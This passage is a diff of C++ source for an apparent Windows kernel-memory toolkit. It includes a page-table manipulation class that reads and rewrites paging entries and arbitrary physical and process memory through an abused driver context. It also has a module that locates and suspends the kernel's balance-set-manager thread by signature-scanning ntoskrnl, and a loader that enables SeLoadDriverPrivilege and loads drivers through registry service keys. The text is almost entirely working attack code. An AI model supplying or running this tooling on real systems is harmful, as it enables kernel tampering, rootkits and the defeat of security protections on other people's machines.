*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
|
||||||
|
return new_addr.value;
|
||||||
|
}
|
||||||
|
// try one last time by yeilding execution...
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
while (!SwitchToThread())
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return new_addr.value;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* ptm_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
|
||||||
|
{
|
||||||
|
const auto peproc =
|
||||||
|
reinterpret_cast<std::uint64_t>(
|
||||||
|
v_ctx.get_peprocess(pid));
|
||||||
|
|
||||||
|
return reinterpret_cast<void*>(
|
||||||
|
v_ctx.rkm<pte>(peproc + 0x28).pfn << 12);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ptm_ctx::hyperspace_entries(pt_entries& entries, void* addr)
|
||||||
|
{
|
||||||
|
if (!addr || !dirbase)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
virt_addr_t virt_addr{ addr };
|
||||||
|
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
|
||||||
|
entries.pml4.second = v_ctx->rkm<pml4e>(
|
||||||
|
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pml4.first)));
|
||||||
|
|
||||||
|
if (!entries.pml4.second.value)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
|
||||||
|
entries.pdpt.second = v_ctx->rkm<pdpte>(
|
||||||
|
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pdpt.first)));
|
||||||
|
|
||||||
|
if (!entries.pdpt.second.value)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
|
||||||
|
entries.pd.second = v_ctx->rkm<pde>(
|
||||||
|
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pd.first)));
|
||||||
|
|
||||||
|
// if its a 2mb page
|
||||||
|
if (entries.pd.second.large_page)
|
||||||
|
{
|
||||||
|
entries.pt.second.value = entries.pd.second.value;
|
||||||
|
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index;
|
||||||
|
entries.pt.second = v_ctx->rkm<pte>(
|
||||||
|
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pt.first)));
|
||||||
|
|
||||||
|
if (!entries.pt.second.value)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto ptm_ctx::get_pte(void* addr, bool use_hyperspace) -> std::pair<ppte, pte>
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
pt_entries entries;
|
||||||
|
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||||
|
return { entries.pt.first, entries.pt.second };
|
||||||
|
|
||||||
|
return { {}, {} };
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ptm_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace)
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (use_hyperspace)
|
||||||
|
return v_ctx->wkm(
|
||||||
|
v_ctx->get_virtual(
|
||||||
|
reinterpret_cast<std::uintptr_t>(addr)), pte);
|
||||||
|
|
||||||
|
return write_phys(addr, pte);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto ptm_ctx::get_pde(void* addr, bool use_hyperspace) -> std::pair<ppde, pde>
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
pt_entries entries;
|
||||||
|
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||||
|
return { entries.pd.first, entries.pd.second };
|
||||||
|
return { {}, {} };
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ptm_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace)
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (use_hyperspace)
|
||||||
|
return v_ctx->wkm(
|
||||||
|
v_ctx->get_virtual(
|
||||||
|
reinterpret_cast<std::uintptr_t>(addr)), pde);
|
||||||
|
|
||||||
|
return write_phys(addr, pde);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto ptm_ctx::get_pdpte(void* addr, bool use_hyperspace) -> std::pair<ppdpte, pdpte>
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
pt_entries entries;
|
||||||
|
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||||
|
return { entries.pdpt.first, entries.pdpt.second };
|
||||||
|
|
||||||
|
return { {}, {} };
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ptm_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace)
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (use_hyperspace)
|
||||||
|
return v_ctx->wkm(
|
||||||
|
v_ctx->get_virtual(
|
||||||
|
reinterpret_cast<std::uintptr_t>(addr)), pdpte);
|
||||||
|
|
||||||
|
return write_phys(addr, pdpte);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto ptm_ctx::get_pml4e(void* addr, bool use_hyperspace) -> std::pair<ppml4e, pml4e>
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
pt_entries entries;
|
||||||
|
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||||
|
return { entries.pml4.first, entries.pml4.second };
|
||||||
|
|
||||||
|
return { {}, {} };
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ptm_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace)
|
||||||
|
{
|
||||||
|
if (!dirbase || !addr)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (use_hyperspace)
|
||||||
|
return v_ctx->wkm(
|
||||||
|
v_ctx->get_virtual(
|
||||||
|
reinterpret_cast<std::uintptr_t>(addr)), pml4e);
|
||||||
|
|
||||||
|
return write_phys(addr, pml4e);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto ptm_ctx::read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>
|
||||||
|
{
|
||||||
|
if (!buffer || !addr || !size || !dirbase)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
virt_addr_t virt_addr{ addr };
|
||||||
|
if (size <= PAGE_4KB - virt_addr.offset)
|
||||||
|
{
|
||||||
|
pt_entries entries;
|
||||||
|
read_phys
|
||||||
|
(
|
||||||
|
buffer,
|
||||||
|
virt_to_phys(entries, addr),
|
||||||
|
size
|
||||||
|
);
|
||||||
|
|
||||||
|
return
|
||||||
|
{
|
||||||
|
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
||||||
|
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// cut remainder
|
||||||
|
const auto [new_buffer_addr, new_addr] = read_virtual
|
||||||
|
(
|
||||||
|
buffer,
|
||||||
|
addr,
|
||||||
|
PAGE_4KB - virt_addr.offset
|
||||||
|
);
|
||||||
|
|
||||||
|
// forward work load
|
||||||
|
return read_virtual
|
||||||
|
(
|
||||||
|
new_buffer_addr,
|
||||||
|
new_addr,
|
||||||
|
size - (PAGE_4KB - virt_addr.offset)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
auto ptm_ctx::write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>
|
||||||
|
{
|
||||||
|
if (!buffer || !addr || !size || !dirbase)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
virt_addr_t virt_addr{ addr };
|
||||||
|
if (size <= PAGE_4KB - virt_addr.offset)
|
||||||
|
{
|
||||||
|
pt_entries entries;
|
||||||
|
write_phys
|
||||||
|
(
|
||||||
|
buffer,
|
||||||
|
virt_to_phys(entries, addr),
|
||||||
|
size
|
||||||
|
);
|
||||||
|
|
||||||
|
return
|
||||||
|
{
|
||||||
|
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
||||||
|
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// cut remainder
|
||||||
|
const auto [new_buffer_addr, new_addr] = write_virtual
|
||||||
|
(
|
||||||
|
buffer,
|
||||||
|
addr,
|
||||||
|
PAGE_4KB - virt_addr.offset
|
||||||
|
);
|
||||||
|
|
||||||
|
// forward work load
|
||||||
|
return write_virtual
|
||||||
|
(
|
||||||
|
new_buffer_addr,
|
||||||
|
new_addr,
|
||||||
|
size - (PAGE_4KB - virt_addr.offset)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ptm_ctx::read_phys(void* buffer, void* addr, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!buffer || !addr || !size)
|
||||||
|
{
|
||||||
|
std::printf("[+] buffer -> 0x%p\n", buffer);
|
||||||
|
std::printf("[+] addr -> 0x%p\n", addr);
|
||||||
|
std::getchar();
|
||||||
|
|
||||||
|
DebugBreak();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto temp_page = set_page(addr);
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(buffer, temp_page, size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ptm_ctx::write_phys(void* buffer, void* addr, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!buffer || !addr || !size)
|
||||||
|
{
|
||||||
|
std::printf("[+] buffer -> 0x%p\n", buffer);
|
||||||
|
std::printf("[+] addr -> 0x%p\n", addr);
|
||||||
|
std::getchar();
|
||||||
|
|
||||||
|
DebugBreak();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto temp_page = set_page(addr);
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(temp_page, buffer, size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* ptm_ctx::virt_to_phys(pt_entries& entries, void* addr)
|
||||||
|
{
|
||||||
|
if (!addr || !dirbase)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
const virt_addr_t virt_addr{ addr };
|
||||||
|
|
||||||
|
// traverse paging tables
|
||||||
|
auto pml4e = read_phys<::pml4e>(
|
||||||
|
reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index);
|
||||||
|
|
||||||
|
entries.pml4.first = reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index;
|
||||||
|
entries.pml4.second = pml4e;
|
||||||
|
|
||||||
|
if (!pml4e.value)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
auto pdpte = read_phys<::pdpte>(
|
||||||
|
reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index);
|
||||||
|
|
||||||
|
entries.pdpt.first = reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index;
|
||||||
|
entries.pdpt.second = pdpte;
|
||||||
|
|
||||||
|
if (!pdpte.value)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
auto pde = read_phys<::pde>(
|
||||||
|
reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index);
|
||||||
|
|
||||||
|
entries.pd.first = reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index;
|
||||||
|
entries.pd.second = pde;
|
||||||
|
|
||||||
|
if (!pde.value)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
auto pte = read_phys<::pte>(
|
||||||
|
reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index);
|
||||||
|
|
||||||
|
entries.pt.first = reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index;
|
||||||
|
entries.pt.second = pte;
|
||||||
|
|
||||||
|
if (!pte.value)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,80 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "../util/nt.hpp"
|
||||||
|
#include "../vdm_ctx/vdm_ctx.hpp"
|
||||||
|
|
||||||
|
namespace ptm
|
||||||
|
{
|
||||||
|
class ptm_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit ptm_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid = GetCurrentProcessId());
|
||||||
|
~ptm_ctx();
|
||||||
|
|
||||||
|
auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair<ppte, pte>;
|
||||||
|
bool set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
|
||||||
|
|
||||||
|
auto get_pde(void* addr, bool use_hyperspace = false) -> std::pair<ppde, pde>;
|
||||||
|
bool set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
|
||||||
|
|
||||||
|
auto get_pdpte(void* addr, bool use_hyperspace = false) -> std::pair<ppdpte, pdpte>;
|
||||||
|
bool set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
|
||||||
|
|
||||||
|
auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair<ppml4e, pml4e>;
|
||||||
|
bool set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
|
||||||
|
static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
|
||||||
|
|
||||||
|
bool read_phys(void* buffer, void* addr, std::size_t size);
|
||||||
|
bool write_phys(void* buffer, void* addr, std::size_t size);
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline T read_phys(void* addr)
|
||||||
|
{
|
||||||
|
T buffer;
|
||||||
|
read_phys((void*)&buffer, addr, sizeof(T));
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline bool write_phys(void* addr, const T& data)
|
||||||
|
{
|
||||||
|
return write_phys((void*)&data, addr, sizeof(T));
|
||||||
|
}
|
||||||
|
|
||||||
|
auto read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>;
|
||||||
|
auto write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>;
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline T read_virtual(void* addr)
|
||||||
|
{
|
||||||
|
T buffer;
|
||||||
|
read_virtual((void*)&buffer, addr, sizeof(T));
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline void write_virtual(void* addr, const T& data)
|
||||||
|
{
|
||||||
|
write_virtual((void*)&data, addr, sizeof(T));
|
||||||
|
}
|
||||||
|
|
||||||
|
void* virt_to_phys(pt_entries& entries, void* addr);
|
||||||
|
bool hyperspace_entries(pt_entries& entries, void* addr);
|
||||||
|
|
||||||
|
void* set_page(void* addr);
|
||||||
|
void* get_page() const;
|
||||||
|
|
||||||
|
unsigned pid;
|
||||||
|
void* dirbase;
|
||||||
|
vdm::vdm_ctx* v_ctx;
|
||||||
|
private:
|
||||||
|
std::uint16_t pml4e_index,
|
||||||
|
pdpte_index,
|
||||||
|
pde_index,
|
||||||
|
pte_index,
|
||||||
|
page_offset;
|
||||||
|
|
||||||
|
std::pair<ppdpte, ppdpte> new_pdpt;
|
||||||
|
std::pair<ppde,ppde> new_pd;
|
||||||
|
std::pair<ppte, ppte> new_pt;
|
||||||
|
};
|
||||||
|
}
|
@ -0,0 +1,77 @@
|
|||||||
|
#include "set_mgr.hpp"
|
||||||
|
|
||||||
|
namespace set_mgr
|
||||||
|
{
|
||||||
|
auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD
|
||||||
|
{
|
||||||
|
ULONG return_len = 0u;
|
||||||
|
std::size_t alloc_size = 0x1000u;
|
||||||
|
auto process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(malloc(alloc_size));
|
||||||
|
|
||||||
|
while (NtQuerySystemInformation
|
||||||
|
(
|
||||||
|
SystemProcessInformation,
|
||||||
|
process_info,
|
||||||
|
alloc_size,
|
||||||
|
&return_len
|
||||||
|
) == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
|
||||||
|
realloc(process_info, alloc_size += 0x1000));
|
||||||
|
|
||||||
|
const auto og_ptr = process_info;
|
||||||
|
while (process_info && process_info->UniqueProcessId != (HANDLE)4)
|
||||||
|
process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(process_info) + process_info->NextEntryOffset);
|
||||||
|
|
||||||
|
auto thread_info = reinterpret_cast<SYSTEM_THREAD_INFORMATION*>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(process_info) + sizeof SYSTEM_PROCESS_INFORMATION);
|
||||||
|
|
||||||
|
static const auto ntoskrnl_base =
|
||||||
|
util::get_kmodule_base("ntoskrnl.exe");
|
||||||
|
|
||||||
|
const auto [ke_balance_um, ke_balance_rva] =
|
||||||
|
util::memory::sig_scan(
|
||||||
|
KE_BALANCE_SIG, KE_BALANCE_MASK);
|
||||||
|
|
||||||
|
auto rip_rva = *reinterpret_cast<std::uint32_t*>(ke_balance_um + 19);
|
||||||
|
const auto ke_balance_set = ntoskrnl_base + ke_balance_rva + 23 + rip_rva;
|
||||||
|
|
||||||
|
const auto [suspend_in_um, suspend_rva] =
|
||||||
|
util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
|
||||||
|
|
||||||
|
rip_rva = *reinterpret_cast<std::uint32_t*>(suspend_in_um + 1);
|
||||||
|
const auto ps_suspend_thread = reinterpret_cast<void*>(ntoskrnl_base + rip_rva + 5 + suspend_rva);
|
||||||
|
|
||||||
|
static const auto lookup_pethread =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "PsLookupThreadByThreadId");
|
||||||
|
|
||||||
|
for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx)
|
||||||
|
{
|
||||||
|
if (thread_info[idx].StartAddress == reinterpret_cast<void*>(ke_balance_set))
|
||||||
|
{
|
||||||
|
PETHREAD pethread;
|
||||||
|
auto result = v_ctx.syscall<PsLookupThreadByThreadId>(
|
||||||
|
lookup_pethread, thread_info[idx].ClientId.UniqueThread, &pethread);
|
||||||
|
|
||||||
|
free(og_ptr);
|
||||||
|
return pethread;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
free(og_ptr);
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_base =
|
||||||
|
util::get_kmodule_base("ntoskrnl.exe");
|
||||||
|
|
||||||
|
const auto [suspend_in_um, suspend_rva] =
|
||||||
|
util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
|
||||||
|
|
||||||
|
const auto rip_rva = *reinterpret_cast<std::uint32_t*>(suspend_in_um + 1);
|
||||||
|
const auto ps_suspend_thread = reinterpret_cast<void*>(ntoskrnl_base + rip_rva + 5 + suspend_rva);
|
||||||
|
return v_ctx.syscall<PsSuspendThread>(ps_suspend_thread, pethread, nullptr);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,18 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "../vdm_ctx/vdm_ctx.hpp"
|
||||||
|
|
||||||
|
using PETHREAD = PVOID;
|
||||||
|
using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG);
|
||||||
|
using PsLookupThreadByThreadId = NTSTATUS(*)(HANDLE, PETHREAD*);
|
||||||
|
|
||||||
|
#define KE_BALANCE_SIG "\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8B\x88\x00\x00\x00\x00\x48\x8D\x05"
|
||||||
|
#define KE_BALANCE_MASK "xxxxx????xxx????xxx"
|
||||||
|
|
||||||
|
#define SUSPEND_THREAD_SIG "\xE8\x00\x00\x00\x00\x8B\xF8\xBA\x50\x73\x53\x75"
|
||||||
|
#define SUSPEND_THREAD_MASK "x????xxxxxxx"
|
||||||
|
|
||||||
|
namespace set_mgr
|
||||||
|
{
|
||||||
|
auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD;
|
||||||
|
auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread)->NTSTATUS;
|
||||||
|
}
|
@ -0,0 +1,256 @@
|
|||||||
|
/*
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2020 xerox
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Winternl.h>
|
||||||
|
#include <string>
|
||||||
|
#include <fstream>
|
||||||
|
#include <filesystem>
|
||||||
|
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||||
|
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||||
|
|
||||||
|
namespace driver
|
||||||
|
{
|
||||||
|
namespace util
|
||||||
|
{
|
||||||
|
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||||
|
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_key += service_name;
|
||||||
|
|
||||||
|
auto result = RegCreateKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t type_value = 1;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"Type",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&type_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t error_control_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"ErrorControl",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&error_control_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t start_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"Start",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&start_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"ImagePath",
|
||||||
|
NULL,
|
||||||
|
REG_SZ,
|
||||||
|
(std::uint8_t*) drv_path.c_str(),
|
||||||
|
drv_path.size()
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||||
|
{
|
||||||
|
HANDLE token_handle = nullptr;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
LUID luid{};
|
||||||
|
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
TOKEN_PRIVILEGES token_state{};
|
||||||
|
token_state.PrivilegeCount = 1;
|
||||||
|
token_state.Privileges[0].Luid = luid;
|
||||||
|
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
CloseHandle(token_handle);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
DWORD bytes_read;
|
||||||
|
char image_path[0xFF];
|
||||||
|
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
result = RegGetValueA(
|
||||||
|
reg_handle,
|
||||||
|
service_name.c_str(),
|
||||||
|
"ImagePath",
|
||||||
|
REG_SZ,
|
||||||
|
NULL,
|
||||||
|
image_path,
|
||||||
|
&bytes_read
|
||||||
|
);
|
||||||
|
|
||||||
|
RegCloseKey(reg_handle);
|
||||||
|
return std::string(image_path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!util::create_service_entry("\\??\\" +
|
||||||
|
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::tuple<bool, std::string>
|
||||||
|
{
|
||||||
|
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||||
|
{
|
||||||
|
